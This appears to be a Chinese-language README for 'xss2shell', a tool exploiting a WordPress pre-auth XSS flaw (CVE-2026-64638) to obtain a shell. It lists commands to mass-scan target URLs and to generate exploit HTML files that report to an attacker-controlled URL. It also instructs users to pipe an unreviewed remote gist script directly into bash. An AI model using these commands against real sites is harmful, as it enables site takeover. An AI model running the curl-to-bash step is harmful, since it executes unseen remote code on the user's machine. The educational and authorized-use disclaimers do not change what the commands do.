CVE-2026-64638

捐赠

通过 PayPal 或扫描下方二维码来支持本项目的维护。

⚡ 简单用法

请仅在安全且已获授权的环境中使用本项目，例如：

• 本地虚拟机
• Docker 容器
• 隔离的实验环境
• 已获授权的渗透测试环境

示例环境搭建：

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

示例用法：

# 1. Scanning Mode - Detect Vulnerable WordPress Sites:

# Scan a single URL
python xss2shell.py scan http://wp-vm.local

# Scan targets from file (one URL per line)
python xss2shell.py scan targets.txt

# Scan with custom settings
python xss2shell.py scan targets.txt --workers 10 --output my_results.json

# 2. Exploit Generation Mode - Create Exploit HTML Files
# Generate exploit for single target
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local

# Generate exploits for multiple targets from file
python xss2shell.py exploit targets.txt --attacker-url http://attacker-vm.local --output-dir exploits/

# Specify admin username
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local --admin-user administrator

注意：

• 从其他项目克隆时，您必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 来清除嵌套目录中的 .git
• 例如：cve-2025-46822.sh、cve-2025-46822-lab.sh 等

---

致谢或参考

• https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html
• https://pwn.ai/blog/xss2shell

---

📚 教育性安全研究仓库

一个用于在受控环境中学习、测试和研究网络安全概念的仓库。

---

⚠️ 安全与法律免责声明

目的

本仓库仅用于教育和已获授权的安全研究。

它旨在帮助用户了解：

• 安全漏洞
• 沙箱与隔离概念
• 安全编码与防御实践

---

仅限授权使用

请仅在您拥有权限的环境中使用本仓库，例如：

• 个人实验室或虚拟机
• Docker 或隔离环境
• 已获授权的渗透测试
• 网络安全培训或学术研究

严禁未经授权或非法的使用。

---

免责条款

作者和贡献者不对因本项目造成的任何损害、误用、法律问题或损失负责。

使用本仓库即表示您同意：

• 您对自己的行为负责
• 您将合法且合乎道德地使用它
• 本项目不提供任何担保

---

道德使用

本项目适用于：

• 防御性安全研究
• 网络安全教育
• 漏洞意识培养
• 安全系统与软件研究

请遵循负责任披露实践，并遵守所有适用法律。

---

联系方式

如需负责任披露或合作，请通过 GitHub 联系仓库维护者。